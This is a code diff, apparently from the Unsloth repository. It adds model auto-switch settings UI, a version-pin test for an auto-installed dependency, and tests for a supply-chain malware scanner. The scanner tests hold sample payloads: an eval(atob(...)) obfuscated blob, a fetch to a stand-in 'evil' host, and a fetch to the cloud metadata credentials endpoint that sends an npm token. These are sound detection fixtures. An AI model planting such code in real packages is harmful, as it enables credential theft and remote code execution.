||||
// biome-ignore lint/style/useNamingConvention: API schema
|
||||
auto_unload_idle_seconds: autoUnloadIdleSeconds,
|
||||
}),
|
||||
});
|
||||
if (!res.ok) {
|
||||
throw new Error(
|
||||
await readFastApiError(
|
||||
res,
|
||||
"Failed to update model auto-switch settings",
|
||||
),
|
||||
);
|
||||
}
|
||||
return cacheSettings(fromApi(await res.json()));
|
||||
}
|
||||
|
|
@ -0,0 +1,165 @@
|
|||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
||||
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { useT } from "@/i18n";
|
||||
import { useEffect, useState } from "react";
|
||||
import {
|
||||
type OpenAIAutoSwitchSettings,
|
||||
loadOpenAIAutoSwitchSettings,
|
||||
updateOpenAIAutoSwitchSettings,
|
||||
} from "../api/openai-auto-switch";
|
||||
import { SettingsRow } from "./settings-row";
|
||||
import { SettingsSection } from "./settings-section";
|
||||
|
||||
export function ModelAutoSwitchSection() {
|
||||
const t = useT();
|
||||
const [settings, setSettings] = useState<OpenAIAutoSwitchSettings | null>(
|
||||
null,
|
||||
);
|
||||
const [draftIdleSeconds, setDraftIdleSeconds] = useState("0");
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [isSaving, setIsSaving] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
void loadOpenAIAutoSwitchSettings()
|
||||
.then((loaded) => {
|
||||
if (cancelled) return;
|
||||
setSettings(loaded);
|
||||
setDraftIdleSeconds(String(loaded.autoUnloadIdleSeconds));
|
||||
setError(null);
|
||||
})
|
||||
.catch((loadError) => {
|
||||
if (cancelled) return;
|
||||
setError(
|
||||
loadError instanceof Error
|
||||
? loadError.message
|
||||
: t("settings.general.modelAutoSwitch.loadError"),
|
||||
);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [t]);
|
||||
|
||||
// Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null.
|
||||
const parseIdleSeconds = (): number | null => {
|
||||
if (!draftIdleSeconds.trim()) {
|
||||
return null;
|
||||
}
|
||||
const parsed = Number(draftIdleSeconds);
|
||||
return Number.isInteger(parsed) && parsed >= 0 ? parsed : null;
|
||||
};
|
||||
|
||||
const persist = async (
|
||||
enabled: boolean,
|
||||
idleSeconds: number,
|
||||
syncDraft = true,
|
||||
) => {
|
||||
setIsSaving(true);
|
||||
setError(null);
|
||||
try {
|
||||
const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds);
|
||||
setSettings(saved);
|
||||
if (syncDraft) {
|
||||
setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds));
|
||||
}
|
||||
} catch (saveError) {
|
||||
setError(
|
||||
saveError instanceof Error
|
||||
? saveError.message
|
||||
: t("settings.general.modelAutoSwitch.saveError"),
|
||||
);
|
||||
} finally {
|
||||
setIsSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
// Idle-unload is tied to auto-switch (the freed model reloads via the swap).
|
||||
// Toggling off preserves the saved seconds rather than zeroing them — the
|
||||
// backend gates unloading on the enabled flag, so it never unloads while off.
|
||||
// Enabling commits the drafted value, falling back to the last saved one so
|
||||
// it can never get stuck.
|
||||
const handleToggle = (enabled: boolean) => {
|
||||
const savedIdleSeconds = settings?.autoUnloadIdleSeconds ?? 0;
|
||||
if (!enabled) {
|
||||
void persist(false, savedIdleSeconds, false);
|
||||
return;
|
||||
}
|
||||
void persist(true, parseIdleSeconds() ?? savedIdleSeconds);
|
||||
};
|
||||
|
||||
const handleSaveIdle = () => {
|
||||
const idleSeconds = parseIdleSeconds();
|
||||
if (idleSeconds === null) {
|
||||
setError(t("settings.general.modelAutoSwitch.idleError"));
|
||||
return;
|
||||
}
|
||||
void persist(true, idleSeconds);
|
||||
};
|
||||
|
||||
return (
|
||||
<SettingsSection title={t("settings.general.modelAutoSwitch.sectionTitle")}>
|
||||
<SettingsRow
|
||||
label={t("settings.general.modelAutoSwitch.enable")}
|
||||
description={t("settings.general.modelAutoSwitch.enableDescription")}
|
||||
>
|
||||
<Switch
|
||||
checked={settings?.enabled ?? false}
|
||||
disabled={!settings || isSaving}
|
||||
onCheckedChange={handleToggle}
|
||||
/>
|
||||
</SettingsRow>
|
||||
<SettingsRow
|
||||
label={t("settings.general.modelAutoSwitch.idleUnload")}
|
||||
description={t(
|
||||
"settings.general.modelAutoSwitch.idleUnloadDescription",
|
||||
)}
|
||||
>
|
||||
<div className="flex flex-col items-end gap-1">
|
||||
<div className="flex items-center gap-2">
|
||||
<div className="relative w-28">
|
||||
<Input
|
||||
type="number"
|
||||
min={0}
|
||||
step={1}
|
||||
value={draftIdleSeconds}
|
||||
aria-label="Idle auto-unload seconds"
|
||||
disabled={!settings?.enabled || isSaving}
|
||||
onChange={(event) => setDraftIdleSeconds(event.target.value)}
|
||||
className="h-8 w-full pr-8"
|
||||
/>
|
||||
<span className="pointer-events-none absolute inset-y-0 right-3 flex items-center text-xs font-medium text-muted-foreground">
|
||||
s
|
||||
</span>
|
||||
</div>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
disabled={!settings?.enabled || isSaving}
|
||||
onClick={handleSaveIdle}
|
||||
>
|
||||
{isSaving ? t("common.saving") : t("common.save")}
|
||||
</Button>
|
||||
</div>
|
||||
{error ? (
|
||||
<span className="max-w-[260px] text-right text-xs text-destructive">
|
||||
{error}
|
||||
</span>
|
||||
) : settings && !settings.enabled && settings.idleUnloadActive ? (
|
||||
<span className="max-w-[260px] text-right text-xs text-muted-foreground">
|
||||
{t("settings.general.modelAutoSwitch.idleActiveViaEnv")}
|
||||
</span>
|
||||
) : settings && !settings.enabled ? (
|
||||
<span className="max-w-[260px] text-right text-xs text-muted-foreground">
|
||||
{t("settings.general.modelAutoSwitch.idleNeedsEnable")}
|
||||
</span>
|
||||
) : null}
|
||||
</div>
|
||||
</SettingsRow>
|
||||
</SettingsSection>
|
||||
);
|
||||
}
|
||||
|
|
@ -27,6 +27,11 @@ import {
|
|||
import { HugeiconsIcon } from "@hugeicons/react";
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { Streamdown } from "streamdown";
|
||||
import {
|
||||
type OpenAIAutoSwitchSettings,
|
||||
loadOpenAIAutoSwitchSettings,
|
||||
updateOpenAIAutoSwitchSettings,
|
||||
} from "../api/openai-auto-switch";
|
||||
|
||||
// API call type; OS axis applies to curl only (Python is OS-identical).
|
||||
type ExampleType =
|
||||
|
|
@ -68,6 +73,13 @@ const OS_AWARE: Record<ExampleType, boolean> = {
|
|||
const CURL_TYPES = new Set<ExampleType>(["curl", "curlTools", "curlAdvanced"]);
|
||||
|
||||
const PROMPT = "Can Unsloth Studio do API calling?";
|
||||
// Auto-switch demo: a second call naming a different downloaded GGUF so the
|
||||
// example shows that the model field selects which model serves.
|
||||
// A placeholder the user replaces with one of their downloaded GGUFs. A fixed
|
||||
// repo is usually not one they have, so the resolver would fall through and the
|
||||
// demo would keep serving the current model instead of switching.
|
||||
const SWITCH_MODEL = "your-other-downloaded-GGUF";
|
||||
const SWITCH_PROMPT = "Now answer as a different model.";
|
||||
// web_search + python + terminal are the reliable built-in tools.
|
||||
const TOOLS = ["web_search", "python", "terminal"];
|
||||
// Sampling/thinking knobs for the "+ advanced" examples.
|
||||
|
|
@ -163,13 +175,19 @@ function winBody(model: string, variant: Variant): string {
|
|||
return JSON.stringify(body);
|
||||
}
|
||||
|
||||
// A leading comment (valid in both bash and PowerShell) noting the model field
|
||||
// selects the served model when auto-switch is on.
|
||||
const SWITCH_NOTE =
|
||||
'# "Switch model by request" is on: set "model" to any downloaded GGUF to switch.\n';
|
||||
|
||||
function curlUnix(
|
||||
base: string,
|
||||
key: string,
|
||||
model: string,
|
||||
variant: Variant,
|
||||
autoSwitch: boolean,
|
||||
): string {
|
||||
return `curl ${base}/v1/chat/completions \\
|
||||
return `${autoSwitch ? SWITCH_NOTE : ""}curl ${base}/v1/chat/completions \\
|
||||
-H "Authorization: Bearer ${key}" \\
|
||||
-H "Content-Type: application/json" \\
|
||||
-d '${shSingle(curlBodyPretty(model, variant))}'`;
|
||||
|
|
@ -181,8 +199,9 @@ function curlWindows(
|
|||
key: string,
|
||||
model: string,
|
||||
variant: Variant,
|
||||
autoSwitch: boolean,
|
||||
): string {
|
||||
return `$body = '${psSingle(winBody(model, variant))}'
|
||||
return `${autoSwitch ? SWITCH_NOTE : ""}$body = '${psSingle(winBody(model, variant))}'
|
||||
Set-Content -Path body.json -Value $body -Encoding ascii
|
||||
curl.exe ${base}/v1/chat/completions \`
|
||||
-H "Authorization: Bearer ${key}" \`
|
||||
|
|
@ -190,11 +209,29 @@ curl.exe ${base}/v1/chat/completions \`
|
|||
-d "@body.json"`;
|
||||
}
|
||||
|
||||
// A second OpenAI call naming a different downloaded GGUF: with auto-switch on,
|
||||
// Studio loads it before serving, so the model field selects the served model.
|
||||
function pythonSwitchDemo(): string {
|
||||
return `
|
||||
|
||||
# "Switch model by request" is on: replace the model below with another GGUF you
|
||||
# have downloaded and Studio loads it before serving. Unknown names keep serving
|
||||
# the current model.
|
||||
response = client.chat.completions.create(
|
||||
model=${j(SWITCH_MODEL)},
|
||||
messages=[{"role": "user", "content": ${j(SWITCH_PROMPT)}}],
|
||||
stream=True,
|
||||
)
|
||||
for chunk in response:
|
||||
print(chunk.choices[0].delta.content or "", end="")`;
|
||||
}
|
||||
|
||||
function pythonSnippet(
|
||||
base: string,
|
||||
key: string,
|
||||
model: string,
|
||||
variant: Variant,
|
||||
autoSwitch: boolean,
|
||||
): string {
|
||||
// Standard OpenAI args are named; Unsloth extensions go through extra_body.
|
||||
const named =
|
||||
|
|
@ -241,7 +278,7 @@ response = client.chat.completions.create(
|
|||
messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody}
|
||||
stream=True,
|
||||
)
|
||||
${loop}`;
|
||||
${loop}${autoSwitch ? pythonSwitchDemo() : ""}`;
|
||||
}
|
||||
|
||||
function buildSnippets(
|
||||
|
|
@ -249,15 +286,16 @@ function buildSnippets(
|
|||
key: string,
|
||||
model: string,
|
||||
os: Os,
|
||||
autoSwitch: boolean,
|
||||
): Record<ExampleType, string> {
|
||||
const curl = os === "windows" ? curlWindows : curlUnix;
|
||||
return {
|
||||
curl: curl(base, key, model, "plain"),
|
||||
python: pythonSnippet(base, key, model, "plain"),
|
||||
curlTools: curl(base, key, model, "tools"),
|
||||
pythonTools: pythonSnippet(base, key, model, "tools"),
|
||||
curlAdvanced: curl(base, key, model, "advanced"),
|
||||
pythonAdvanced: pythonSnippet(base, key, model, "advanced"),
|
||||
curl: curl(base, key, model, "plain", autoSwitch),
|
||||
python: pythonSnippet(base, key, model, "plain", autoSwitch),
|
||||
curlTools: curl(base, key, model, "tools", autoSwitch),
|
||||
pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch),
|
||||
curlAdvanced: curl(base, key, model, "advanced", autoSwitch),
|
||||
pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch),
|
||||
};
|
||||
}
|
||||
|
||||
|
|
@ -346,12 +384,31 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
|
|||
const [copied, setCopied] = useState(false);
|
||||
const [copiedUrl, setCopiedUrl] = useState(false);
|
||||
const [useTunnel, setUseTunnel] = useState<boolean>(readUseTunnelPref);
|
||||
// null while loading; the same setting the General tab exposes (shared cache).
|
||||
const [autoSwitch, setAutoSwitch] = useState<OpenAIAutoSwitchSettings | null>(
|
||||
null,
|
||||
);
|
||||
const [savingAutoSwitch, setSavingAutoSwitch] = useState(false);
|
||||
|
||||
// Tunnel may start after the first /api/health read; refresh so it surfaces here.
|
||||
useEffect(() => {
|
||||
void fetchDeviceType({ force: true });
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
void loadOpenAIAutoSwitchSettings()
|
||||
.then((s) => {
|
||||
if (!cancelled) setAutoSwitch(s);
|
||||
})
|
||||
.catch(() => {
|
||||
// Best-effort: leave the toggle off if the setting can't be read.
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
const model = useLoadedModelName();
|
||||
// Real key while revealed (before "Done"); otherwise a placeholder.
|
||||
const key = apiKey || KEY_PLACEHOLDER;
|
||||
|
|
@ -361,9 +418,10 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
|
|||
const base =
|
||||
useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
|
||||
|
||||
const autoSwitchOn = autoSwitch?.enabled ?? false;
|
||||
const snippets = useMemo(
|
||||
() => buildSnippets(base, key, model, os),
|
||||
[base, key, model, os],
|
||||
() => buildSnippets(base, key, model, os, autoSwitchOn),
|
||||
[base, key, model, os, autoSwitchOn],
|
||||
);
|
||||
|
||||
const osAware = OS_AWARE[lang];
|
||||
|
|
@ -385,6 +443,20 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
|
|||
writeUseTunnelPref(next);
|
||||
};
|
||||
|
||||
// Same setting as the General tab; persist optimistically and revert on failure
|
||||
// so the examples reflect the live model-switch behavior.
|
||||
const handleToggleAutoSwitch = (next: boolean) => {
|
||||
const idle = autoSwitch?.autoUnloadIdleSeconds ?? 0;
|
||||
setAutoSwitch((prev) => (prev ? { ...prev, enabled: next } : prev));
|
||||
setSavingAutoSwitch(true);
|
||||
void updateOpenAIAutoSwitchSettings(next, idle)
|
||||
.then(setAutoSwitch)
|
||||
.catch(() => {
|
||||
setAutoSwitch((prev) => (prev ? { ...prev, enabled: !next } : prev));
|
||||
})
|
||||
.finally(() => setSavingAutoSwitch(false));
|
||||
};
|
||||
|
||||
const handleCopyUrl = async () => {
|
||||
if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) {
|
||||
setCopiedUrl(true);
|
||||
|
|
@ -398,6 +470,41 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
|
|||
{t("settings.apiKeys.usageExamples")}
|
||||
</h2>
|
||||
<div className="min-w-0 max-w-full overflow-hidden rounded-lg border border-border bg-muted/20">
|
||||
{/* Same setting as the General tab; surfaced here so the request `model`
|
||||
actually switches the served model, which the examples below show. */}
|
||||
<div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
|
||||
<div className="flex shrink-0 items-center gap-1.5">
|
||||
<Switch
|
||||
size="sm"
|
||||
checked={autoSwitchOn}
|
||||
disabled={autoSwitch === null || savingAutoSwitch}
|
||||
onCheckedChange={handleToggleAutoSwitch}
|
||||
aria-label={t("settings.general.modelAutoSwitch.enable")}
|
||||
/>
|
||||
<span className="text-[11px] font-medium text-foreground">
|
||||
{t("settings.general.modelAutoSwitch.enable")}
|
||||
</span>
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild={true}>
|
||||
<button
|
||||
type="button"
|
||||
className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
|
||||
aria-label={t(
|
||||
"settings.general.modelAutoSwitch.enableDescription",
|
||||
)}
|
||||
>
|
||||
<HugeiconsIcon
|
||||
icon={InformationCircleIcon}
|
||||
className="size-3.5"
|
||||
/>
|
||||
</button>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-[260px] text-[11px] leading-snug">
|
||||
{t("settings.general.modelAutoSwitch.enableDescription")}
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
</div>
|
||||
</div>
|
||||
{cloudflareUrl ? (
|
||||
<div className="flex min-w-0 items-center justify-between gap-2 border-b border-border px-2 py-1.5">
|
||||
<div className="flex shrink-0 items-center gap-1.5">
|
||||
|
|
@ -412,9 +519,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
|
|||
</span>
|
||||
{/* Only when not launched with --secure: the raw 0.0.0.0 port is
|
||||
still globally reachable, so point the user at --secure. */}
|
||||
{!secure ? (
|
||||
{secure ? null : (
|
||||
<Tooltip>
|
||||
<TooltipTrigger asChild>
|
||||
<TooltipTrigger asChild={true}>
|
||||
<button
|
||||
type="button"
|
||||
className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
|
||||
|
|
@ -430,7 +537,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
|
|||
{t("settings.apiKeys.secureHttpsHint")}
|
||||
</TooltipContent>
|
||||
</Tooltip>
|
||||
) : null}
|
||||
)}
|
||||
</div>
|
||||
{/* Always rendered (dimmed when off) so toggling never changes the
|
||||
row height and shifts the code block below. */}
|
||||
|
|
|
|||
|
|
@ -48,6 +48,7 @@ import {
|
|||
updateUploadLimitSettings,
|
||||
} from "../api/upload-limit";
|
||||
import { ChangePasswordDialog } from "../components/change-password-dialog";
|
||||
import { ModelAutoSwitchSection } from "../components/model-auto-switch-section";
|
||||
import { SettingsRow } from "../components/settings-row";
|
||||
import { SettingsSection } from "../components/settings-section";
|
||||
import { StudioVersionSection } from "../components/studio-version-section";
|
||||
|
|
@ -528,6 +529,8 @@ export function GeneralTab() {
|
|||
</SettingsRow>
|
||||
</SettingsSection>
|
||||
|
||||
<ModelAutoSwitchSection />
|
||||
|
||||
<SettingsSection
|
||||
title={t("settings.general.previewSharing.sectionTitle")}
|
||||
>
|
||||
|
|
|
|||
|
|
@ -143,6 +143,22 @@ export const en = {
|
|||
loadError: "Failed to load Helper LLM settings.",
|
||||
saveError: "Failed to save Helper LLM settings.",
|
||||
},
|
||||
modelAutoSwitch: {
|
||||
sectionTitle: "Model auto-switch (OpenAI API)",
|
||||
enable: "Switch model by request",
|
||||
enableDescription:
|
||||
"When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.",
|
||||
idleUnload: "Idle auto-unload",
|
||||
idleUnloadDescription:
|
||||
"Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.",
|
||||
idleNeedsEnable:
|
||||
"Turn on Switch model by request so an unloaded model reloads on next use.",
|
||||
idleActiveViaEnv:
|
||||
"Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.",
|
||||
loadError: "Failed to load model auto-switch settings.",
|
||||
saveError: "Failed to save model auto-switch settings.",
|
||||
idleError: "Enter a whole number of seconds (0 or more).",
|
||||
},
|
||||
previewSharing: {
|
||||
sectionTitle: "Preview sharing",
|
||||
enableLabel: "Public preview links",
|
||||
|
|
|
|||
112
tests/saving/test_llm_compressor_install_pin.py
Normal file
112
tests/saving/test_llm_compressor_install_pin.py
Normal file
|
|
@ -0,0 +1,112 @@
|
|||
"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that
|
||||
install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted
|
||||
range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ast
|
||||
from pathlib import Path
|
||||
|
||||
SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
|
||||
|
||||
_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL"
|
||||
|
||||
|
||||
def _module() -> ast.Module:
|
||||
return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY))
|
||||
|
||||
|
||||
def _get_function(name: str) -> ast.FunctionDef:
|
||||
for node in ast.walk(_module()):
|
||||
if isinstance(node, ast.FunctionDef) and node.name == name:
|
||||
return node
|
||||
raise AssertionError(f"Function {name} not found in save.py")
|
||||
|
||||
|
||||
def _spec_value():
|
||||
for node in ast.walk(_module()):
|
||||
if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant):
|
||||
if any(
|
||||
isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets
|
||||
):
|
||||
return node.value.value
|
||||
return None
|
||||
|
||||
|
||||
def _first_lineno(fn: ast.AST, predicate) -> int | None:
|
||||
lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")]
|
||||
return min(lines) if lines else None
|
||||
|
||||
|
||||
def test_spec_is_a_bounded_pin() -> None:
|
||||
spec = _spec_value()
|
||||
assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope"
|
||||
assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}"
|
||||
# A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release.
|
||||
assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}"
|
||||
|
||||
|
||||
def test_ceiling_blocks_inflated_versions() -> None:
|
||||
"""Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch."""
|
||||
from packaging.requirements import Requirement
|
||||
|
||||
spec = Requirement(_spec_value()).specifier
|
||||
assert spec.contains("0.12.0"), "the current vetted release must resolve"
|
||||
assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked"
|
||||
assert not spec.contains("1.0.0"), "a new major must not be auto-installed"
|
||||
assert not spec.contains(
|
||||
"0.12.1"
|
||||
), "a higher in-range patch must be blocked (cap to the vetted patch)"
|
||||
assert not spec.contains(
|
||||
"0.12.999"
|
||||
), "a crafted higher in-range patch (e.g. on a mirror) must be blocked"
|
||||
|
||||
|
||||
def test_floor_stays_compatible_with_supported_torch() -> None:
|
||||
"""Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4."""
|
||||
from packaging.requirements import Requirement
|
||||
from packaging.version import Version
|
||||
|
||||
req = Requirement(_spec_value())
|
||||
lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")]
|
||||
assert lowers, "spec must declare a lower bound"
|
||||
assert max(lowers) <= Version("0.6.0"), (
|
||||
f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); "
|
||||
"llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0."
|
||||
)
|
||||
|
||||
|
||||
def test_install_command_uses_pinned_spec_not_bare_name() -> None:
|
||||
fn = _get_function("install_llm_compressor")
|
||||
# No argv list may pass the bare, unpinned package literal "llmcompressor".
|
||||
for node in ast.walk(fn):
|
||||
if isinstance(node, ast.List):
|
||||
for elt in node.elts:
|
||||
if isinstance(elt, ast.Constant) and elt.value == "llmcompressor":
|
||||
raise AssertionError(
|
||||
"install command must not pass an unpinned 'llmcompressor' literal; "
|
||||
"use the bounded _LLM_COMPRESSOR_SPEC"
|
||||
)
|
||||
names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)}
|
||||
assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC"
|
||||
|
||||
|
||||
def test_optout_env_gate_precedes_subprocess_install() -> None:
|
||||
fn = _get_function("install_llm_compressor")
|
||||
env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG)
|
||||
assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor"
|
||||
|
||||
def _is_check_call(n: ast.AST) -> bool:
|
||||
return (
|
||||
isinstance(n, ast.Call)
|
||||
and isinstance(n.func, ast.Attribute)
|
||||
and n.func.attr == "check_call"
|
||||
and isinstance(n.func.value, ast.Name)
|
||||
and n.func.value.id == "subprocess"
|
||||
)
|
||||
|
||||
install_line = _first_lineno(fn, _is_check_call)
|
||||
assert install_line is not None, "expected a subprocess.check_call install in the function"
|
||||
assert (
|
||||
env_line < install_line
|
||||
), "the auto-install opt-out must be evaluated before any package install runs"
|
||||
|
|
@ -328,8 +328,9 @@ def _finding(
|
|||
fn,
|
||||
pattern,
|
||||
sev = snp.HIGH,
|
||||
evidence = "",
|
||||
):
|
||||
return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)
|
||||
return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)
|
||||
|
||||
|
||||
def test_norm_pkg_name_strips_version_keeps_scope():
|
||||
|
|
@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
|
|||
n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
|
||||
assert n == 1 # dedup + MEDIUM excluded
|
||||
keys = snp._load_baseline(str(bl))
|
||||
assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
|
||||
assert snp._finding_key(findings[0]) in keys
|
||||
# MEDIUM below HIGH threshold -> not written.
|
||||
assert all(k[2] != "js-env-token" for k in keys)
|
||||
|
||||
|
||||
def test_baseline_reopens_on_changed_evidence(tmp_path):
|
||||
# Same package/file/pattern but changed flagged code must reopen: the key now
|
||||
# includes an evidence hash, so a new payload cannot ride a reviewed entry.
|
||||
bl = tmp_path / "bl.json"
|
||||
listed = _finding(
|
||||
"left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
|
||||
)
|
||||
snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])
|
||||
baseline = snp._load_baseline(str(bl))
|
||||
|
||||
# The reviewed finding stays suppressed across a version bump (same evidence).
|
||||
same = _finding(
|
||||
"left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
|
||||
)
|
||||
# A changed payload under the same package/file/pattern stays active.
|
||||
changed = _finding(
|
||||
"left-pad@9.9.9",
|
||||
"package/dist/index.js",
|
||||
"obfuscated-blob",
|
||||
evidence = "fetch('http://evil')",
|
||||
)
|
||||
active, suppressed = snp._partition_baseline([same, changed], baseline)
|
||||
assert same in suppressed
|
||||
assert changed in active
|
||||
|
||||
|
||||
def test_obfuscated_blob_key_reopens_on_changed_tail():
|
||||
# A large blob's evidence hash binds the full match (via a digest when the
|
||||
# snippet is truncated), so changing only the payload tail reopens the key.
|
||||
pkg = snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-test",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
head = "A" * 2300
|
||||
old = f'eval("{head}{"B" * 300}")'
|
||||
new = f'eval("{head}{"C" * 300}")'
|
||||
of = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", old)
|
||||
if f.pattern == "obfuscated-blob"
|
||||
][0]
|
||||
nf = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", new)
|
||||
if f.pattern == "obfuscated-blob"
|
||||
][0]
|
||||
assert "sha256:" in of.evidence
|
||||
assert of.evidence != nf.evidence
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def test_js_fetch_eval_payload_tail_reopens_key():
|
||||
# The js-fetch-eval evidence digests the full containing line when the shown
|
||||
# window truncates it, so a changed payload tail beyond the window reopens
|
||||
# the key instead of riding the unchanged decoder head.
|
||||
pkg = snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-test",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
head = "A" * 40
|
||||
old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"
|
||||
new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"
|
||||
of = [
|
||||
f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"
|
||||
][0]
|
||||
nf = [
|
||||
f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"
|
||||
][0]
|
||||
assert "sha256:" in of.evidence
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def test_outbound_host_multiline_options_reopen():
|
||||
# A multi-line outbound call binds its option/header lines, so changing the
|
||||
# headers/body on a continuation line reopens the cred-surface-host key.
|
||||
pkg = snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-test",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n"
|
||||
old = url + " {headers: {a: 'old'}})\n"
|
||||
new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n"
|
||||
of = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", old)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
nf = [
|
||||
f
|
||||
for f in snp.scan_text_blob(pkg, "package/index.js", new)
|
||||
if f.pattern == "cred-surface-host (outbound)"
|
||||
][0]
|
||||
assert "sha256:" in of.evidence
|
||||
assert snp._finding_key(of) != snp._finding_key(nf)
|
||||
|
||||
|
||||
def test_outbound_host_config_multiline_object_reopens():
|
||||
# A host-config object whose `{` is on a prior line still binds the whole
|
||||
# object, so changing the path/headers on a following line reopens the key
|
||||
# rather than riding the unchanged hostname line.
|
||||
pkg = snp.PackageEntry(
|
||||
name = "evil",
|
||||
version = "1.0.0",
|
||||
resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
|
||||
integrity = "sha512-test",
|
||||
lockfile_key = "node_modules/evil",
|
||||
)
|
||||
obj = (
|
||||
"const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n"
|
||||
)
|
||||
